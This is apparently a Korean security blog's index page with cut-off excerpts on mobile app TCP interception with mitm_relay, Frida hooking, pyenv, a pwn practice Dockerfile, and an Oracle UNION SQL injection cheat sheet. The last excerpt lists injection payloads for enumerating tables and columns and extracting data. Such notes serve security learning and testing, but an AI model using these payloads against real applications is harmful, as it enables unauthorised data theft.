Android APP TCP MITM Attack 모바일 앱 통신 프로토콜 중 HTTP가 아닌, TCP 통신 패킷을 Burp Suite로 Intercept 하기 위해서는 mitm_relay를 사용해야 한다. 아래 링크에서 파이썬 스크립트를 다운받을 수 있다. GitHub - jrmdev/mitm_relay: Hackish way to intercept and modify non-HTTP protocols through Burp & others. Hackish way to intercept and modify non-HTTP protocols through Burp & others. - jrmdev/mitm_relay github.com 사용법 일반적으로 사용하는 옵션은 -l, -p, -r 옵션이다. -l..

Frida CLI frida attach 방식 frida -U com.android.chrome frida spawn 방식 frida -U -f com.android.chrome --no-pause frida script 삽입 frida -U --no-pause -f com.android.chrome -l ~.js Frida Script Java.perform(fn) 현재 스레드가 가상머신에 연결되어 있는지 확인하고 함수를 호출 Java.perform(function() { } Java.use(className) 메소드 후킹시 사용 var myClass = Java.use(com.mypackage.name.class) // 앱에서 사용하는 클래스와 연동되는 myClass를 정의 var myClassIns..

이 글은 다음 글을 번역하여 정리한 글입니다. Managing Multiple Python Versions With pyenv – Real Python In this step-by-step tutorial, you'll learn how to install multiple Python versions and switch between them with ease, including project-specific virtual environments, even if you don't have sudo access with pyenv. realpython.com pyenv란? 시스템 파이썬(System Python)은 OS에 설치되어 제공되는 파이썬이다. 시스템 파이썬은 시스템 전체에서 사용할 수 있기 때문에..

dockerfile ubuntu 20.04 FROM ubuntu:20.04 WORKDIR /root ENV LC_CTYPE C.UTF-8 ARG DEBIAN_FRONTEND=noninteractive RUN dpkg --add-architecture i386 RUN apt update -y RUN apt install python3-pip python3-dev python3-setuptools python-capstone libssl-dev libffi-dev build-essential libc6-i386 libc6-dbg gcc-multilib make gcc netcat git curl wget gdb vim nano zsh ruby-full -y RUN apt-get update RUN apt-g..

Oracle Union SQL ' order by 1-- # 데이터 형 조회 ' union select null ,null, null from dual-- ' union select null, null, 123 from dual-- ' union select null, null, 'abc' from dual-- # 테이블 명 조회 ' union select null,table_name, null, null from all_tables-- # 컬럼 명 조회 ' union select null, column_name, null, null from all_tab_columns where table_name='mytable'-- # 데이터 조회 ' union select null, data, null, name..